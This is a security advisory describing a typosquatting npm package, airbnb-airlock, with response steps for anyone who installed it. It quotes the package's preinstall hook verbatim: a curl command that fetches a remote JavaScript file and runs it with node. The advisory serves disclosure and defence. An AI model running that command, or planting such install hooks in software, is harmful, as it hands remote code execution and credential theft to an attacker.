airbnb-airlocknpm
Advisory published Updated
airbnb-airlock is a confirmed malicious npm package (MAL-2026-6293) that typosquats a legitimate package to trick installs (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in airbnb-airlock (npm)
What this malware does
The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for airbnb-airlock (version 99.0.0).
If you installed it — respond
airbnb-airlock is a typosquat — you almost certainly intended a legitimately-named package. Remove airbnb-airlock, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If airbnb-airlock was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks airbnb-airlock-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.